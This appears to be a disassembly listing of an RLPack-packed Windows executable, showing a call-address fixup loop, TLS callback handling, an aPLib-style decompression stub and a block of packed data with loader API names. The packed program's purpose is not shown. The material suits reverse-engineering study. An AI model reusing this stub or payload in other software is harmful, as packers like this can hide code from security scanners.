cmp byte ptr [esi], 0E8h
jz short loc_4FA720
cmp byte ptr [esi], 0E9h
jnz short loc_4FA733
loc_4FA720: ; CODE XREF: sub_4FA6C0+59j
mov eax, [esi+1]
bswap eax
sub eax, edx
mov [esi+1], eax
add esi, 4
add edx, 4
sub ecx, 4
loc_4FA733: ; CODE XREF: sub_4FA6C0+5Ej
inc esi
dec ecx
loc_4FA735: ; CODE XREF: sub_4FA6C0+53j
cmp ecx, 0
ja short loc_4FA715
loc_4FA73A: ; CODE XREF: sub_4FA6C0+50j
popa
retn
sub_4FA6C0 endp
; =============== S U B R O U T I N E =======================================
sub_4FA73C proc near ; CODE XREF: start+183p
pusha
mov esi, [ebp+43Ch]
add esi, [esi+3Ch]
mov esi, [esi+0C0h]
or esi, esi
jz short loc_4FA77F
add esi, [ebp+43Ch]
add esi, 0Ch
mov esi, [esi]
or esi, esi
jz short loc_4FA77F
mov eax, [esi]
jmp short loc_4FA77B
; ---------------------------------------------------------------------------
loc_4FA763: ; CODE XREF: sub_4FA73C+41j
push esi
cmp dword ptr [eax], 0
jz short loc_4FA775
push 0
push 1
push dword ptr [ebp+43Ch]
call eax
loc_4FA775: ; CODE XREF: sub_4FA73C+2Bj
pop esi
add esi, 4
mov eax, [esi]
loc_4FA77B: ; CODE XREF: sub_4FA73C+25j
or eax, eax
jnz short loc_4FA763
loc_4FA77F: ; CODE XREF: sub_4FA73C+12j
; sub_4FA73C+21j
popa
retn
sub_4FA73C endp
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+24h]
mov edi, [esp+28h]
cld
mov dl, 80h
xor ebx, ebx
loc_4FA78F: ; CODE XREF: .RLPack:004FA797j
movsb
mov bl, 2
loc_4FA792: ; CODE XREF: .RLPack:004FA7BCj
; .RLPack:004FA802j
call sub_4FA804
jnb short loc_4FA78F
xor ecx, ecx
call sub_4FA804
jnb short loc_4FA7BE
xor eax, eax
call sub_4FA804
jnb short loc_4FA7CE
mov bl, 2
inc ecx
mov al, 10h
loc_4FA7B0: ; CODE XREF: .RLPack:004FA7B7j
call sub_4FA804
adc al, al
jnb short loc_4FA7B0
jnz short loc_4FA7FA
stosb
jmp short loc_4FA792
; ---------------------------------------------------------------------------
loc_4FA7BE: ; CODE XREF: .RLPack:004FA7A0j
call sub_4FA810
sub ecx, ebx
jnz short loc_4FA7D7
call sub_4FA80E
jmp short loc_4FA7F6
; ---------------------------------------------------------------------------
loc_4FA7CE: ; CODE XREF: .RLPack:004FA7A9j
lodsb
shr eax, 1
jz short loc_4FA820
adc ecx, ecx
jmp short loc_4FA7F3
; ---------------------------------------------------------------------------
loc_4FA7D7: ; CODE XREF: .RLPack:004FA7C5j
xchg eax, ecx
dec eax
shl eax, 8
lodsb
call sub_4FA80E
cmp eax, 7D00h
jnb short loc_4FA7F3
cmp ah, 5
jnb short loc_4FA7F4
cmp eax, 7Fh
ja short loc_4FA7F5
loc_4FA7F3: ; CODE XREF: .RLPack:004FA7D5j
; .RLPack:004FA7E7j
inc ecx
loc_4FA7F4: ; CODE XREF: .RLPack:004FA7ECj
inc ecx
loc_4FA7F5: ; CODE XREF: .RLPack:004FA7F1j
xchg eax, ebp
loc_4FA7F6: ; CODE XREF: .RLPack:004FA7CCj
mov eax, ebp
mov bl, 1
loc_4FA7FA: ; CODE XREF: .RLPack:004FA7B9j
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp short loc_4FA792
; =============== S U B R O U T I N E =======================================
sub_4FA804 proc near ; CODE XREF: .RLPack:loc_4FA792p
; .RLPack:004FA79Bp ...
add dl, dl
jnz short locret_4FA80D
mov dl, [esi]
inc esi
adc dl, dl
locret_4FA80D: ; CODE XREF: sub_4FA804+2j
retn
sub_4FA804 endp
; =============== S U B R O U T I N E =======================================
sub_4FA80E proc near ; CODE XREF: .RLPack:004FA7C7p
; .RLPack:004FA7DDp
xor ecx, ecx
sub_4FA80E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4FA810 proc near ; CODE XREF: .RLPack:loc_4FA7BEp
inc ecx
loc_4FA811: ; CODE XREF: sub_4FA810+Dj
call sub_4FA804
adc ecx, ecx
call sub_4FA804
jb short loc_4FA811
retn
sub_4FA810 endp
; ---------------------------------------------------------------------------
loc_4FA820: ; CODE XREF: .RLPack:004FA7D1j
sub edi, [esp+28h]
mov [esp+1Ch], edi
popa
retn
; ---------------------------------------------------------------------------
align 4
dd 2 dup(0)
dd 0A8520000h, 0A85F000Fh, 0Fh, 4 dup(0)
dd 656B0000h, 6C656E72h, 642E3233h, 0D8006C6Ch, 0FD77E805h
dd 0A77E7A5h, 3477E798h, 9A77E79Eh, 77E616h, 0
dd 616F4C00h, 62694C64h, 79726172h, 47000041h, 72507465h
dd 6441636Fh, 73657264h, 56000073h, 75747269h, 6C416C61h
dd 636F6Ch, 72695600h, 6C617574h, 65657246h, 69560000h
dd 61757472h, 6F72506Ch, 74636574h, 10000000h, 80000h
dd 200000h, 0
dd 2 dup(40h), 0
dd 10000000h, 5C000000h, 110002h, 0
dd 76477E6h, 2 dup(32h), 1000000Eh, 27E30000h, 7000000Fh
dd 31860002h, 9000000Fh, 0A4780002h, 0E000000Fh, 0Dh, 0E570000h
dd 335F3253h, 6C642E63h, 454B008Fh, 4CE64E52h, 10E0DA6h
dd 190271C4h, 6FC8413Ah, 656B1D63h, 738F874h, 0F803270h
dd 0F12F0C09h, 15447322h, 1202890Ah, 4801240Dh, 2209910Bh
dd 3104404h, 13121789h, 97481224h, 6660691h, 46006E70h
dd 43646E69h, 70736F6Ch, 0C8536665h, 4F371845h, 1AFC2466h
dd 42731949h, 0FF6F3061h, 727450D0h, 527B0DA4h, 610D08D0h
dd 686E554Fh, 4C546EF3h, 63784563h, 69F970F3h, 6977F76Fh
dd 473890FFh, 0A4465336h, 7954670Fh, 0F57EA70h, 46C000D2h
dd 5073756Ch, 0F0425E68h, 5CBEE366h, 408A4B51h, 0A04C4864h
dd 0D1C822Dh, 190E722Bh, 480A4D68h, 0FD751D8Fh, 0A7001CD1h
dd 0CF726976h, 0E95F6DEAh, 57738A60h, 0E6DD7417h, 2EA5FEFEh
dd 827418C8h, 81DA35A3h, 614D434Ch, 57274870h, 66310DA7h
dd 19BD6548h, 78A87A28h, 0F973EC52h, 9108385Dh, 284DFC4Fh
dd 52095043h, 0C600741h, 6F666E49h, 57194F93h, 5D23747Ch
dd 0F2855628h, 6C611C75h, 0E7C8B941h, 9F420D46h, 4496D970h
dd 0A0A14650h, 4DC87351h, 0F3105DA2h, 76D03A79h, 5841CA1Ah
dd 0A80D4D12h, 3E483275h, 0CF61514Eh, 79531310h, 1B48DF73h
dd 63FB9E44h, 0DCAF6FE3h, 3AD05328h, 193C4399h, 640F6854h
dd 7DF344C1h, 2437AB28h, 15764F3Eh, 0AA906D6Eh, 4699758Fh
dd 497F586Eh, 4C146450h, 45A66166h, 8C9CDB2Eh, 487970A1h
dd 0B5935337h, 0D92F63Ch, 9A756234h, 132F9024h, 0C246A346h
dd 86572264h, 92C94A2Bh, 1E412C53h, 6A622A4Fh, 649B8EA5h
dd 3178654Dh, 0F6316954h, 41EAF259h, 54A16D80h, 201DC8B8h
dd 507033DCh, 54656824h, 0C37376B2h, 0E938D64Ch, 0B972E69Dh
dd 0BDA17921h, 0FE64B83Ch, 6D3FD3A5h, 45FEBB66h, 6360B323h
dd 92A470DEh, 35560F89h, 1FB85592h, 687AA476h, 0A4C666Ch
dd 2E43C0C9h, 0E5B5AACh, 0DB34B2EEh, 8F913A86h, 21923615h
dd 7AD51EDEh, 8F41E22Fh, 0C0704AF4h, 742BCC23h, 0F6C83C23h
dd 4210E23Dh, 0AFE2AF79h, 3E640D57h, 65448521h, 8B3370C9h
dd 0A6562A49h, 0DC010951h, 42CF736Eh, 8C4CC366h, 29706913h
dd 4B00590Ch, 81C85227h, 6C707544h, 0CE22CDB4h, 92D85762h
dd 0B3694B28h, 0D5722873h, 0D47596AEh, 44CD1126h, 410F0EB4h
dd 4CE82365h, 957DAA6h, 436533ACh, 57941519h, 32960FD1h
dd 0D2424E5Fh, 0E8B134Ch, 0FE680851h, 508D3E6Dh, 90AC2E6Fh
dd 20256A5Ah, 0EA65FDE1h, 0B55AF7FFh, 2C2913CFh, 9970234Ch
dd 46D24A2Eh, 0A28A3A6Eh, 452A3216h, 51E0DB76h, 79307563h
dd 66082950h, 636E0BBBh, 904736B3h, 644DD318h, 12932671h
dd 190C2D79h, 277B35B1h, 0F1545946h, 36076156h, 5758D662h
dd 0A334D3F3h, 0B9660913h, 2055A556h, 48C89914h, 294EA474h
dd 921FA1CCh, 5331134Dh, 63A33990h, 37675612h, 67643F4Dh
dd 0A49A9DC9h, 8CC37A62h, 0D6BB329h, 6C0B4C94h, 0C4704C24h
dd 0A67765B6h, 0E4D29A5h, 0D20C1CE9h, 67714931h, 0D9866116h
dd 0D00C4752h, 5E702493h, 915E01AEh, 24C84A7Fh, 8A875B94h
dd 637206A8h, 791A46Dh, 42491CA6h, 0BC654518h, 996BF67Ah
dd 644BCA90h, 44DBC867h, 4076A2CDh, 0F519BE1Dh, 24A0CAA0h
dd 6A357375h, 3C372B11h, 4DE7742Ah, 0F35C1677h, 422CF0DBh
dd 6A5A9270h, 0AEAAA9B2h, 0A22C9FD4h, 90979FD2h, 1544CF41h
dd 796F15ADh, 7011560Ch, 80E1h
db 3 dup(0)
_RLPack ends
; Section 3. (virtual address 000FB000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 000FAE00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 4FB000h
align 2000h
_idata2 ends
end start